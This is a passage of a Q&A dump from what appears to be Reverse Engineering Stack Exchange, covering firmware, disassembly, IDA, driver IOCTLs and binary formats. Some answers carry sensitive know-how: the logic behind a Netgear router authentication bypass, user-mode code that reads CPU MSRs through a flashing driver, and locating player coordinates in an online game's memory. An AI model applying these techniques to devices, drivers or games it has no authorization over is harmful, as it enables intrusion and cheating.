    But that doesn't make sense to me. As I understand it nvram_get loads the value of 'start_in_blankstate' to $v0 then it's copied to $v1 and $v0 is loaded with '1'. They are compared at 0x403940. There is bne instruction so if they don't equal it's true (take green) if they equal it's false (take red) and bypass authentication. It can be seen here:\n\"auth

    \n\n

    Also this rather fits the variable name \"start_in_blankstate\" that when this is set to 1 the router was not started yet and is in blank state, so bypass login and user can set his password. Is my understanding of this correct or was the author right?

    \n", "Title": "Netgear n300 auth bypass vulnerability", "Tags": "|disassembly|firmware|mips|", "Answer": "

    As far as I can see given the data you provided you're right on both accounts, If I understand you correctly.

    \n\n

    Two things to note, though:

    \n\n\n\n

    This might be a patched version, or some error in the article. It does look a bit like it was copied from someplace else or that the link to the firmware download was added later on without validation.

    \n" }, { "Id": "15247", "CreationDate": "2017-04-28T18:54:44.747", "Body": "

    I'm using at&t ordering\nI came across this a little while ago and while i understand why we want to push a stack frame when we call a new routine I don't see why it was done here: (for the example i'm looking at static code and the jmp address is just an example and arbritrary)

    \n\n
    pushq %rbp\nmovq %rsp, %rbp\npop %rbp\njmp $0x10002135a\nnopw(%rax, %rax)\n
    \n\n

    so It turns out the next instruction after the nop is a new function entry so I surmise the nop stuff was done to achieve some sort of alignment. When I go and look at the jumped address I get a real stack frame (standard series of pushes, register saves, etc and at the end of the function standard pops and does the retq.

    \n\n

    What did we gain by doing the push/pop sequence?

    \n\n

    The only thing i can think of is because it does the pop before the jump is that when the other does the retq it might be returning to the rbp prior to this little bit of code. It's as if this little bit of jmp code never existed? if so why have this little bit of code here in the first place? Or perhaps at runtime the jmp address will occupy more bytes and spill into the nopw area? just guessing.

    \n\n

    It almost looks like its a template or a macro that is doing nothing since the pop is restoring the original base pointer that was saved. Or is this more along the lines of the compiler trying to get things aligned?

    \n\n

    We got to this point via a jmp.

    \n", "Title": "whats the purpose of this code snippet?", "Tags": "|assembly|osx|stack|", "Answer": "

    This is most likely an optimized tail call. The original code probably looked similar to this:

    \n\n
    int f1()\n{\n//some code which was optimized out\n  return f2();// &f2=0x10002135a\n}\n
    \n\n

    Since there is no code after calling f2, there is no need to perform any additional actions, so the compiler restored the original stack pointer and jumped to f2 instead of performing the call. Since the stack was restored, the address of return from f1 is at the top of the stack, so when f2 returns, it will return to the place f1 was called from. This trick saves a few instructions compared to the non-optimized \"call f2 then return\" sequence.

    \n\n

    Now, the compiler could also just remove all stack manipulation completely and leave just the jump, but possibly some other considerations prevented that (e.g. frame pointer omission optimization was turned off which made it insert ebp initialization in all functions, even those not using it).

    \n" }, { "Id": "15250", "CreationDate": "2017-04-29T19:16:14.613", "Body": "

    Today I used IDA on a owned compiled software.\nI notice that IDA show me comment (ascii char) on immediates values as on this screenshoot below :\n\"enter

    \n\n

    This is the first time I saw it automaticaly. What is the option the enable it ? Most of the time I must add ascii value comment manually...

    \n\n

    Regards

    \n", "Title": "IDA, how to show ascii comment on immediate values?", "Tags": "|ida|", "Answer": "

    You need to enable \"auto comments\" https://www.hex-rays.com/products/ida/support/idadoc/1369.shtml

    \n\n

    BTW you can write your own auto-commenting scripts like https://www.hex-rays.com/products/ida/support/tutorials/idc/autocomment.shtml

    \n" }, { "Id": "15252", "CreationDate": "2017-04-30T01:00:24.520", "Body": "

    I'm trying to reverse engineer an online game (Dota 2) to get some more info and build a personal assistant with friendlier/ advanced info about my character. First I'm trying to find out the player location on the map. I thought of trying to read and profile the client.exe to find where in the memory it stores the character location, but I truly don't know where to start.

    \n\n

    I can run it with OllyDbg and start looking for changing values as the character moves, but since many other values in the game also change, it would take me days to find out which is it. So I figured maybe there is a better way. How to get started with this?

    \n", "Title": "How to reverse Engineer a game character position on a map", "Tags": "|ollydbg|", "Answer": "

    Most easiest way is to search something like a ladder to climb on. Everytime you are going up or down, search for in- or decreased float value. This will give you the y-coordinate in the end. That offset taken, add 4 bytes to get z- and substract 4 bytes to get x-coordinate. Using ReClass you can even try to find the base object for your and other players.

    \n" }, { "Id": "15266", "CreationDate": "2017-05-02T17:26:25.300", "Body": "

    I'm reversing few iOS Mach-O application executables these days and all of them use Position-independent code (PIC; the MH_PIC flag is set). I've been expecting a large number of relocation entries (just like with Windows PE or Android ELF) but all the executables contain zero relocations (well, at least the __text section I'm interested in).

    \n\n

    The oficial docs say that this is because the segments are always located at a constant offset from each other and that makes sense to me.

    \n\n

    However, can I take this for granted? Do all typical iOS applications contain no relocations because all the code and data are usually located in one binary (i. e., dynamic libraries are usually not used)?

    \n", "Title": "iOS Position-independent code and relocations", "Tags": "|ios|mach-o|pie|", "Answer": "

    The Mach-O format does support relocations but they appear rarely outside of the object files; usually linker does pretty good job using PIC addressing inside the final linked module. \nAs for imports from other libraries on iOS, they don't use relocations anymore but special tables handled by the dynamic loader (dyld). I've described how they work previously. For even more gruesome details see dyld sources and inspect actual binaries.

    \n" }, { "Id": "15270", "CreationDate": "2017-05-03T18:18:22.670", "Body": "

    In windows and linux x86 (including x86_64) world, is there any legitimate binary (i.e., a program binary generated by the typical compiling-assembling-linking flow and no manual editing on binary after it is generated) that will have RWX memory pages after being loaded? If yes, what are the use cases?

    \n", "Title": "legitimate memory pages that are marked as RWX?", "Tags": "|x86|memory|binary|", "Answer": "

    Just-In-Time Compilation support could be one reason for pages to be legitimately marked RWX. In iOS MobileSafari is one of a small number of Apple apps that has a \"dynamic codesigning\" entitlement which allows for the RWX pages to be mapped. Despite the potential danger, JavaScript performance is too important to not have these pages. This makes Safari a desirable target for exploits. For more information on a recent iOS exploit that attacked Safari for its RWX pages read the Pegasus Technical Report

    \n" }, { "Id": "15275", "CreationDate": "2017-05-04T03:45:23.907", "Body": "

    I am reverse engineering a program using IDA Pro Free 5. In one of the functions, the compiler has reused the stack space of one of the passed in arguments as a local variable of a different type, but the same size.

    \n\n

    Is there a way to rename a stack variable part of the way through a function? At the moment, I'm using a manual operand, but its not optimal.

    \n", "Title": "In IDA 5, is there a way to rename a stack variable mid-function", "Tags": "|ida|disassembly|stack-variables|", "Answer": "

    As far as I know this is not even possible in IDA 6.9 yet, and definitely not possible in IDA 5.

    \n\n

    When encountering such cases (which are quite frequent with certain compilers), I often find it the easiest to give such variables a name that denotes them as having two different purposes shared on the same stack address.

    \n" }, { "Id": "15283", "CreationDate": "2017-05-04T18:52:34.850", "Body": "

    Recently I tried to obtain OICTL Codes from the iscflashx64.sys driver and I have found it in DispatchDeviceControl function. After driver being installed and have started with SCM it displayed in WinObj. when I invoke DeviceIOControl function with this codes in my user-land app it returns \"1\" error code. that means my codes is invalid.

    \n\n

    Here is IDA view capture and userapp code\"enter

    \n\n

    Next:

    \n\n
    lea     rdx, cs:10000h\nmovzx   eax, ds:(byte_1C9C8 - 10000h)[rdx+rsi]\nmov     ecx, ds:(off_1C988 - 10000h)[rdx+rax*4]\nadd     rcx, rdx\njmp     rcx             ; switch jump\n
    \n\n

    And function call:

    \n\n
    lea     rcx, [rsp+188h+PhysicalAddress]\ncall    MSR_read1\njmp     short loc_1C2BC\n
    \n\n

    in userapp:

    \n\n
    #define IOCTL_READ_MSR\\\n CTL_CODE(FILE_DEVICE_UNKNOWN, 0x2237134, METHOD_BUFFERED, FILE_ANY_ACCESS)\n...\n\n    bool msr_get(unsigned int reg, unsigned long long *val)\n  {\n    if (hHandle == NULL)\n    {\n        printf(\"## ERROR: Not initialized\\n\");\n        return false;\n    }\n\n    DWORD dwBytes = 0;\n    UCHAR Request[0x100];\n    ZeroMemory(&Request, sizeof(Request));\n\n    *(PDWORD)(Request + 0x08) = reg;\n\n    // send request to the driver\n    if (DeviceIoControl(\n        hHandle, IOCTL_READ_MSR,\n        &Request, sizeof(Request), &Request, sizeof(Request),\n        &dwBytes, NULL))\n    {\n        LARGE_INTEGER Val;\n\n        Val.HighPart = *(PDWORD)(Request + 0x0c);\n        Val.LowPart = *(PDWORD)(Request + 0x00);\n\n        *val = Val.QuadPart;\n\n        return true;\n    }\n    else\n    {\n        printf(\"## ERROR DeviceIoControl() %d\\n\", GetLastError());\n    }\n\n    return false;\n }\n
    \n\n

    After googling I found this answer. So this step by step solution does`t work for me. May be problem in switch case tables, but IDA get comments that seems like a codes like that:

    \n\n
    loc_1C55A:\nsub     esi, 222406h\njz      loc_1C6E7\n
    \n\n

    What is going wrong? Will be very grateful for any suggestions or just a common techniques in using IOCTL.

    \n\n

    P.S. Sorry for my English.

    \n", "Title": "IOCTL Code for Windows driver", "Tags": "|ida|windows|kernel-mode|driver|", "Answer": "

    you can use a python script to find all the IOCTL codes in your binary, here is a script created for the very same purpose :\n # Find the IoControlCodes corresponding to\n # calls to DeviceIOControl within a binary

    \n\n
    from idaapi import *\nfrom idautils import *\nfrom idc import *\n\n##########################################################\n# This class implements a fifo queue\nclass fqueue(list):\n    def __init__(self, n):\n        self.n = n\n\n    def push(self, a):\n        self.append(a)\n        if len(self) > self.n:\n            self.pop(0)\n\n##########################################################\n\ngpRegList = ['eax', 'ebx', 'ecx', 'edx']\nioccList = []\ncallerList = []\npushQueue = fqueue(2)\n\ndioc_ea = LocByName(\"DeviceIoControl\") # EA\n\nprint \"DeviceIoControl found at 0x%08x\" % dioc_ea\n\nfor caller in XrefsTo(dioc_ea, True):\n    # This is the address (within a function)\n    # where the reference was made\n    caller_ea = caller.frm\n\n    if caller_ea not in callerList:\n        # IDA Pro shifts duplicates, get rid of them\n        callerList.append(caller_ea)\n        print \"xref @ 0x%08x (%s)\" % (caller_ea, GetFunctionName(caller_ea))\n    else:\n        continue\n\n    # The dwIoControlCode must be the second \n    # PUSH xxx before the CALL instruction\n    # So we need to keep track of the PUSH instructions\n    for ins in FuncItems(caller_ea):\n        disasm = GetDisasm(ins)\n        if \"push\" in disasm:\n            # Save the PUSH instruction's operand\n            pushQueue.push(GetOpnd(ins, 0))\n        elif ins == caller_ea:\n            # At this moment we hit the corresponding CALL instruction\n            # First item in Queue is second \"oldest\" push\n            iocc = pushQueue[0]\n\n            if iocc in gpRegList:\n                print \"NOTE: IoControlCode was %s at 0x%08x. Check manually\" % (iocc, caller_ea)\n            else:\n                if pushQueue[0] not in ioccList:\n                    ioccList.append(pushQueue[0])\n        else:\n            pass\n\n# Print all the gathered IoControlCodes\n\nprint \"%d IoControlCodes found!\" % len(ioccList)\n\nfor io in ioccList:\n    print \"[*]\", io\n
    \n\n

    run the script using IDA when disassembling the binary and it will do the magic for you, \nhope this helps!

    \n" }, { "Id": "15290", "CreationDate": "2017-05-05T04:47:26.457", "Body": "

    I'm doing some research on corrupted PE files and I wanted to hear your thoughts and experiences with them. I've been processing a ton of samples which are essentially corrupted Windows Portable Executable files. They will not run on XP or Windows 7 and they won't run on 32 bit or 64 bit. If I open them in a hex editor, it's very clear that they are missing entire header data structures, the MZ and surrounding data is missing or altered, etc... When I attempt to execute these .exe files, I get errors along the lines of \"This is not a valid Windows executable\" and/or \"This executable cannot be run on this system, it may be designed for 64 bit and you are on a 32 bit or vice versa.\" Not verbatim but that's the general idea.\nBasically, I cannot get these to run or operate at all. So the question is, why do they exist? Are they files which could possibly come packaged with other files that when run, repair these files before loading them into memory as a sort of \"obfuscated library file?\" I feel like this is an unlikely scenario.

    \n\n

    Another possibility is, perhaps these files are made for a much older version of Windows? I've done some deep study of the PE file format though and am not aware of any previous PE format with altered headers, etc..

    \n\n

    EXAMPLE:\nSee first a regular PE file that runs fine:\n\"Functional

    \n\n

    Now see the above compared with a specimen file:\n\"Good

    \n\n

    Finally, I was able to locate \"PE\" much further down then normal, amongst a bunch of binary data:

    \n\n

    \"enter

    \n\n

    This is all just one example but this is the kind of thing I'm talking about.

    \n", "Title": "Can corrupted PE files be executed in some versions of Windows but not others?", "Tags": "|windows|pe|", "Answer": "

    The PE format is actually backwards compatible with the old DOS EXE format (also called MZ-exe). That's why it has to start with the MZ signature. It's perfectly possible to have executables which have a complete DOS executable in the compatibility part (also called \"stub\") and Win32 one in the PE part (e.g. Windows 95 reg.exe was one such - it could run both in Windows and in DOS). \nThe offset to the PE header, by the standard, is the dword value at offset 0x3C in the file. in your screenshot the value seems to be 0x9C0000. if there is no PE signature at 0x9C0000 (or it's outside of the file), it means the file is not a PE, but either some other kind of MZ extension format (e.g. NE for Win16 or OS/2) or simply a plain DOS file. You can try running it in DOSBox or another DOS environment, or use a disassembler which handles DOS-MZ (e.g. IDA)

    \n" }, { "Id": "15298", "CreationDate": "2017-05-05T15:55:51.440", "Body": "

    I have some difficult to find CPU from a board.\nFirst I though that CPU/SOC was this one :

    \n\n

    \"enter

    \n\n

    All I know (about CPU) is that's an ARM core little-endian (because I begin reverse firmware in IDA) but I lack of information on it. The hardware is a 8 years old GPS with 800x480 tft.

    \n\n

    According to Igor link document from Samsung, codification of K4X2G303PC - XGC6 means :

    \n\n

    K : Memory

    \n\n

    4 : DRAM

    \n\n

    X : Mobile DDR SDRAM

    \n\n

    2G : 2G, 8K/64ms (Density,Refresh)

    \n\n

    30 : x32 (2CS, 2CKE) (Organization)

    \n\n

    3 : 4Bank

    \n\n

    P : LVTTL, 1.8V, 1.8V (Interface, VDD, VDDQ)

    \n\n

    C (Generation)

    \n\n

    X : POP (Lead-Free, DDP, Halogen-Free)

    \n\n

    G : Extended, Low, PASR & TCSR (Temp, Power)

    \n\n

    C6 : 6ns@CL3 (Speed)

    \n\n

    Here is the whole board (warning EMMC is unsolded)\n\"enter\n\"enter

    \n\n

    Here same hard, but component is another reference from Micron Technology (picture is 180\u00b0 rotated)

    \n\n

    \"enter

    \n\n

    And the backside

    \n\n

    \"enter

    \n\n

    X16V554IL is quad UART (https://www.exar.com/content/document.ashx?id=505) I checked GND pinout it is corresponding

    \n\n

    So if Samsung K4x2G303PC is not SOC/CPU where is SOC/CPU ?

    \n\n

    Why is there a Crystal near K4x2G303PC ? (The other Crytal is for XR16V)\nCan Latticle CPLD LC4064 have an arm software core ?

    \n\n

    REgards ;)

    \n", "Title": "Help finding CPU/SOC on a board", "Tags": "|arm|", "Answer": "

    On this photo you can see there are two \"layers\" in this chip separated by a matrix of solder balls. This is package on package \u2014 a method used to save board space. The actual processor is hidden under the RAM chip.

    \n\n

    \n\n

    Look at Raspberry Pi Zero \u2014 you won't find SoC there either! The chip there has Elpida label, which is a RAM manufacturer, and the SoC itself is under there.

    \n" }, { "Id": "15308", "CreationDate": "2017-05-07T07:11:03.767", "Body": "

    Got this Digital Keychain Photo viewer thingy. Comes with the DPFMate.exe software, which does not run under Windows 10. So far I've confirmed, that it runs perfectly on what they avertise - Windows XP. But no-one has that nowadays, so windows >7 would be great to get working. Have tried compatibility mode, to no success.

    \n\n

    Does anyone know where or how DPFMate places the images on the keychain, so I could possibly write my own program to do the move? I've heard it's some special protocol aswell... Or happens to have a version that runs on newer systems?

    \n\n

    Program available here: https://www.dropbox.com/sh/qym0okbfrndl8cx/AAADqBjp_i5PyJ8yyAo_YVWDa?dl=0

    \n", "Title": "DPFMate Keychain tool", "Tags": "|file-format|protocol|", "Answer": "

    I just found my photo thing again. If you download oracle virtualbox and set up a winxp guest you can use the DPFMate software. Just preload your photos on the VM and attach the USB photo frame USB device to the VM.

    \n\n

    Note; my antivirus says that DPFMate is a trojan virus, you may have issues with your antivirus disabling the usb. If despite this warning, you still want to go ahead, you can also set up your XP guest to discard changes when you reboot. You can just delete the virtual disk when you are done too. Also disable the network on the VM, trojans allow remote access.

    \n\n

    However, unless you know what you are doing and accept the risks, don't disable your antivirus! :)

    \n\n

    Another idea, if anyone wants to test this, is a winPE or bartPE environment. Make a XP PE CD and boot from that.. (basically a lite windows environment that boots from cd, so it's readonly! Unplug your HDD.) Let us know if it works!

    \n" }, { "Id": "15311", "CreationDate": "2017-05-07T13:50:20.847", "Body": "

    I have a Philips 10FF2 picture frame I'm trying to reverse engineer. In the firmware download from the Philips website (http://download.p4c.philips.com/files/1/10ff2cme_00/10ff2cme_00_fus_aen.zip) I can find a file called UBLDM350.bin which when analyzed with binwalk --disasm gives me:

    \n\n
    DECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n0             0x0             ARM executable code, 32-bit, little endian, at least 984 valid instructions\n
    \n\n

    My question is how do I get more information on this file? I tried running it with qemu-arm but that fails:

    \n\n
    walterheck@walter-toshiba:~/projects/pictureframe/PHILIPS.10FF2M$ qemu-arm ./UBLDM350.BIN \nError while loading ./UBLDM350.BIN: Permission denied\n
    \n\n

    Running strings on it gives me garbage and only a few readable things:

    \n\n
    (null)\n0123456789abcdef0123456789ABCDEF\n...fail(%d)\nNANDReadPage error(%d)\nError block(%d)\nMagic switch failure(0x%X)\nBad block found(block=%d)\nMove done.\nStart boot from NAND\nVer = %s\nUBLN1.05\n
    \n\n

    I'm looking for help on what to try next.

    \n", "Title": "Running a binary identified as an ARM excutable by binwalk --disasm", "Tags": "|binary-analysis|firmware|arm|", "Answer": "

    It seems you have a raw firmware file and not a user-mode executable. qemu-arm only supports user-mode ARM Linux ELF executables. You could in theory try the full-system emulator (qemu-system-arm), but don't expect it to work unless QEMU explicitly supports the underlying hardware. It may be also possible to use the QEMU-based Unicorn emulator which is somewhat more flexible but you would need to write some code to load your file and start emulation; there's no convenient ready to use program.

    \n" }, { "Id": "15315", "CreationDate": "2017-05-07T22:20:46.817", "Body": "

    Suppose that eax contains a value only when the program is running.

    \n\n

    How can a disassembler determine the address of expressions like:\ncall eax using static analysis and Recursive Descent disassembly?

    \n", "Title": "Recursive Descent Disassembly", "Tags": "|ida|disassembly|assembly|", "Answer": "
    \n

    How can a disassembler determine the address of expressions like: call eax using static analysis and Recursive Descent disassembly?

    \n
    \n\n

    They can't... The truth is that the recursive traversal algorithm just take into account the static calls (i.e. the calls that link to a static address in the binary).

    \n\n

    An instruction such as call eax (a.k.a. dynamic call) can be resolved only by a dynamic analysis or a symbolic execution framework.

    \n" }, { "Id": "15329", "CreationDate": "2017-05-12T00:06:17.447", "Body": "

    Context and Background Information

    \n

    Part 1: ARM firmware compared to firmware for other architectures

    \n

    I looked at the ARM firmware in these two questions:

    \n\n

    and was baffled by the mixture of code with data, since I have looked at firmware for other architectures such as Ubicom, MIPSEL and MIPS and did not observe the same kind of intermingling of code and data as in the ARM firmware.

    \n

    Here are some visualizations of various binaries for context:

    \n

    MIPSEL eCos firmware from Analysing eCos image

    \n

    \"eCos\n\"entropy\n\"detail\n<------------------------ code -------------------------><---- images, ASCII---->

    \n

    Unknown instruction set, uC/OS firmware from lzma: File format not recognized [Details enclosed]

    \n

    \"CleverDOg\n\"entropy\n\"detail\n<-------------------------- code??? ------------------------><-- ASCII -->

    \n

    Ubicom32 SlingBox firmware from Need help extracting YAFFS from firmware .bin file

    \n

    \"SlingBox\n\"entropy\n\"detail\n<--------------------------- code -----------------------> <- data ->< code >

    \n

    A pattern appears to emerge, no? The executable code in the firmware images presented here is not so difficult to differentiate from data because it largely resides in 1 or 2 large, contiguous blocks.

    \n

    However, things are not so straightforward with the ARM firmware:

    \n

    32-bit ARM firmware from Running a binary identified as an ARM excutable by binwalk --disasm

    \n

    \"firmware\n\"entropy\n\"detail

    \n

    Where is the code? Where is the data? There is no easily discernible separation like in the other firmware binaries.

    \n

    Thumb-2 (16-bit + 32-bit) ARM firmware from

    \n

    \"e-cig\n\"entropy\n\"detail

    \n

    The situation is similar here.

    \n

    When the visualizations are juxtaposed, the differences become very obvious:

    \n

    \"MIPSEL,\n\"unknown\"\n\"Ubicom32,\n\"ARM\n\"ARM

    \n

    The non-ARM firmware binaries in this sample have fairly clear code and data separation, which is helpful if we want to disassemble the code. However, identification of code and data looks to be quite problematic in the case of the ARM firmware binaries.

    \n

    Part 2: ARM Literal Pools

    \n

    So why do the ARM firmware binaries look so different from the others? Why is there no clearly discernible separation of code and data? The answer seems to involve ARM literal pools.

    \n

    I'm including information about ARM literal pools here because it seems relevant and because it took forever for me to find out about them on my own, so hopefully this saves others some time.

    \n

    According to Ian Cook (emphasis mine),

    \n
    \n

    ...mixing of code and data is actually very common with ARM code.

    \n

    ARM instructions are fixed sizes (4 bytes on ARM, 2 bytes for THUMB) and have insufficient space to encode an 32 bit immediate value. Instead, ARM compilers usually do two things -

    \n
      \n

    • they place 32 bit immediate constants straight after the instructions for the function in which the constants are needed, and

      \n
      • \n

    • they use PC-relative load instructions in the function to put these constants into registers.

      \n
      • \n
    \n
    \n

    This is similar to the information I found in the article The trouble with literal pools:

    \n
    \n

    So, what is a literal pool? I\u2019m glad you asked. The literal pool is an area of memory (in the text segment), which is used to store constants. These constants could be plain numerical constants, but their main use is to store the address of variables in the system. These addresses are needed because the ARM instruction does not have any instructions for directly loading (or storing) an address in memory. Instead ldr and str can only store at a \u00b112-bit offset from a register. Now there are lots of ways you could generate code with this restriction, for example, you could ensure your data section is less than 8KiB in size, and reserve a register to be used as a base for all data lookups. But such approach only works if you have a limited data section size. The standard approach that is taken is that when a variable is used its address is written out into a literal pool. The compiler then generates two instructions, first to read the address from this literal pool, and the second is the instruction to access the variable.

    \n

    So, how exactly does this literal pool work? Well, so that a special register is not needed to point at the literal pool, the compiler uses the program counter (PC) register as the base register. The generated codes looks something like: ldr r3, [pc, #28]. That codes loads a value at a 28-byte offset from the current value of PC into the register r3. r3 then contains the address of the variable we want to access, and can be used like: ldr r1, [r3, #0], which loads the value of the variable (rather than the address) into r1. Now, as the PC is used as the base for the literal pool access, it should be clear that the literal pool is stored close enough to the code that needs to use it.

    \n

    To ensure that the literal pool is close enough to the code using it, the compiler stores a literal pool at the end of each function. This approach works pretty well (unless you have a 4KiB+ function, which would be silly anyway), but can be a bit of a waste.

    \n
    \n

    However, in the ARM documentation for literal pools, it is stated that

    \n
    \n

    The assembler uses literal pools to hold certain constant values that are to be loaded into registers. The assembler places a literal pool at the end of each section. The end of a section is defined either by the END directive at the end of the assembly or by the AREA directive at the start of the following section. The END directive at the end of an included file does not signal the end of a section.

    \n
    \n

    I don't know jack about ARM, so this is confusing. I might make this a separate question. Anyway, the point is that literal pools appear to be the reason why code and data are mixed together in the ARM firmware visualized earlier. There is also something called scatterloading, but I don't know if this has anything to do with the problem described here.

    \n

    Question

    \n

    How can the problem posed for disassembly by the admixture of executable code and literal pools in ARM firmware be overcome?

    \n

    According to Ian Cook (from the same answer as before) (emphasis mine),

    \n
    \n

    It's usual to see the immediate constants stored after the function in order of the addresses of the functions that access them. So, in this case, the function ends with the instruction at 0x00000F5C and the immediate constants would appear to span the address range 0x00000F60 to 0x00000FFF and I would usually expect the following function to begin at address 0x00001000.

    \n

    Knowing this it would be possible for a disassembler to identify this pattern and automatically skip the associated data.

    \n
    \n

    Yes, how? I tried disassembling both the ARM 32-bit Panasonic picture frame firmware and the ARM Thumb-2 SMOK-X Cube contraption firmware with radare2 but it seemed like data was being disassembled along with code.

    \n

    Since the location of literal pools after functions seems to be a common feature of ARM binaries, are existing disassemblers able to differentiate between code in functions and the data in their adjoining literal pools even when there aren't any symbols in the binary? This isn't the case with Capstone as far as I know.

    \n", "Title": "How can the problem posed for disassembly by the mixture of executable code and literal pools in ARM firmware be overcome?", "Tags": "|disassembly|binary-analysis|firmware|arm|disassemblers|", "Answer": "

    This is indeed a problem for linear sweep disassemblers; recursive descent ones are mostly unaffected since they won't try to disassemble data if there are no code flows into it. However, there may be some heuristics/cheap tricks that might help even linear sweep disassemblers. Some that come to mind:

    \n\n\n" }, { "Id": "15331", "CreationDate": "2017-05-12T03:47:38.803", "Body": "

    In a DOS EXE file, if I have sub1, sub2, and sub3, split between two code segments, how do I know which sub is in which segment? There seem to be no physical markers in the exe code.

    \n\n

    I know the EXE header gives a couple of these items, but looking at the relocation table for a random large EXE, all the segment addresses there were 0, yet there are actually 20 different segments in the program when I look at it in IDA.

    \n\n

    Do programs like IDA just guess at segment sizes and offsets based on code analysis? Or have I missed something important in the DOS EXE file structure?

    \n", "Title": "DOS Executable Segments", "Tags": "|dos|segmentation|", "Answer": "
    \n

    In a DOS EXE file, if I have sub1, sub2, and sub3, split between two\ncode segments, how do I know which sub is in which segment?

    \n
    \n

    Theoretically, you can't, since most addresses can belong to at least 16 different segments, but in practice there are some heuristics. For example, for targets of far calls and jumps you know their selector (segment value) and offset in that segment, so if you gather that info over the whole executable, you can figure out (at least roughly) what part belongs to which segment. See here for a specific example

    \n

    As for loading EXE files, you can check how IDA does it in the source of the DOS EXE loader in the SDK (ldr/dos). Here's the relevant part (function doRelocs):

    \n
    uint16 curval = get_word(xEA);\nuint16 base = curval + delta;\nput_word(xEA, base);\nfd.sel = base;\nset_fixup(xEA, &fd);\nif ( dosegs )\n  add_segm_by_selector(base, NULL);\n
    \n

    So basically, a segment is added for each unique relocated selector value. Of course, this may be not enough for some complicated executables, so manual tuning of segment boundaries may be necessary.

    \n" }, { "Id": "15359", "CreationDate": "2017-05-17T07:21:21.557", "Body": "

    When I try to disassemble proprietary ARM binaries (no symbol), like Android phone's boot loaders, I find there are a bunch of strings that do not have any \"Xrefs to\" in IDA Pro.

    \n\n

    The image has already been rebased, and some strings have the Xrefs, while others do not. IDA does not recognize some of them as strings or data. Also, I tried to search the address as byte sequence, there is no result too.

    \n\n

    Any good practices to find how these strings are referenced?

    \n", "Title": "How to find Xref to strings in proprietary binaries?", "Tags": "|ida|android|arm|binary|kernel|", "Answer": "

    There's really no standard way.

    \n\n

    It's possible that the code that references them isn't recognized as code, which would make it just a matter of defining it.

    \n\n

    It's possible that they're referenced indirectly, like to an array - is there a value somewhere before them that's referenced?

    \n\n

    It's possible that they're referenced indirectly in some way that IDA doesn't recognize it.

    \n\n

    It probably won't work great for Android, but I've had luck using a break-on-read watchpoint on a string like that to find out where it's referenced from.

    \n" }, { "Id": "15363", "CreationDate": "2017-05-17T19:42:36.450", "Body": "

    I'm wondering if anyone can assist me. I'm reverse engineering netgear r6250 firmware just for practice. I've managed to unpack the firmware using binwalk and in the root directory exist the www directory. Looking at the html code I notice the forms references cgi files. However checking through the entire file system I can't seem to find any cgi files. I've read this blog article that mention that in some netgear router and I quote:

    \n\n
    \n

    apply.cgi is not really a script, but a function that is invoked in the HTTP server

    \n
    \n\n

    So I believe the cgi files might be embedded in the http binary which is located in /usr/sbin in my unpacked firmware version. I don't know if this indeed so.

    \n\n

    Can someone point me in the right direction so to know where I can find the cgi files or if they are indeed embedded in the httpd binary? Your assistance will without a doubt be appreciated.

    \n\n

    Edit

    \n\n

    The below show the screenshot using the find command to search for cgi files and server settings file from the root directory with no results:\n\"screenshot

    \n\n

    This below image shows the listing of files in the etc directory:\n\"enter

    \n\n

    If you notice there are two symbolic links that are both dangling due to missing linked file. So this leads me to believe that the cgi files (and possibly other files) are created in memory upon boot. What makes it worse is using firmadyne to emulate the firmware doesn't work as I don't get a NIC device up and running with an IP, and I've already emulate another netgear firmware (albeit an old one) using firmadyne. In all defense to the creators of firmadyne they mention that if this occurs its a bug and to report it, which I haven't done as yet. Bottom line is I can't emulate the firmware to prove (or disprove) that maybe the files are created during run-time. Anyway I will keep on researching for now.

    \n", "Title": "Assistance finding CGI files", "Tags": "|firmware|", "Answer": "

    While you don't give the necessary details in your question, I decided to give it a go with the R6250-V1.0.4.26_10.1.23.zip from the Netgear website. I don't know how close that is to whatever target you are currently looking at, but the environment look superficially rather similar (especially contents of /etc).

    \n\n

    First I used firmware-mod-kit to extract the .chk file inside the downloaded .zip:

    \n\n
    $ extract-firmware.sh R6250-V1.0.4.26_10.1.23.chk \nFirmware Mod Kit (extract) 0.99, (c)2011-2013 Craig Heffner, Jeremy Collake\n\nScanning firmware...\n\nScan Time:     2018-06-13 17:23:43\nTarget File:   /home/user/netgear/R6250-V1.0.4.26_10.1.23.chk\nMD5 Checksum:  fbb0ddc095cbca7abebe90a19a1b39b7\nSignatures:    344\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n58            0x3A            TRX firmware header, little endian, image size: 19345408 bytes, CRC32: 0xE9FDE7D3, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x23F01C, rootfs offset: 0x0\n86            0x56            LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5467936 bytes\n2355286       0x23F056        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 16983563 bytes, 1244 inodes, blocksize: 131072 bytes, created: 2018-04-02 13:08:38\n\nExtracting 2355286 bytes of  header image at offset 0\nExtracting squashfs file system at offset 2355286\nExtracting squashfs files...\nFirmware extraction successful!\nFirmware parts can be found in '/home/user/netgear/fmk/*'\n
    \n\n

    Then I started to explore the contents of fmk/rootfs using standard Linux tools. For example only a single .cgi file existed in the whole rootfs.

    \n\n
    $ find -name '*.cgi'\n./www/cgi-bin/genie.cgi\n
    \n\n

    With grep -R \\.cgi www I was able to find a whole bunch of references to different \"files\" named .cgi used inside forms of the router's web interface.

    \n\n

    I then attempted to filter down the list a little further (inside fmk/rootfs/www):

    \n\n
    grep -RPho '[^\"]+\\.cgi'|sort -u\n
    \n\n

    There were some outliers in the resulting list, but the outcome was useful nevertheless.

    \n\n

    Armed with that knowledge I turned back to the rootfs in order to look for the web server. I could have used find -name httpd, as it turns out, but in reality I was looking through /bin, /usr/bin and /usr/sbin in that order and found a binary named httpd in the last one.

    \n\n

    Using strings httpd from inside fmk/rootfs/usr/sbin gave me further clues and definitely proved that this was no Nginx or Apache. With strings httpd|grep \\.cgi I was also able to verify that the quote:

    \n\n
    \n

    apply.cgi is not really a script, but a function that is invoked in the HTTP server

    \n
    \n\n

    appears to hold true.

    \n\n

    Using readelf -d httpd I figured out the dependencies (excerpt):

    \n\n
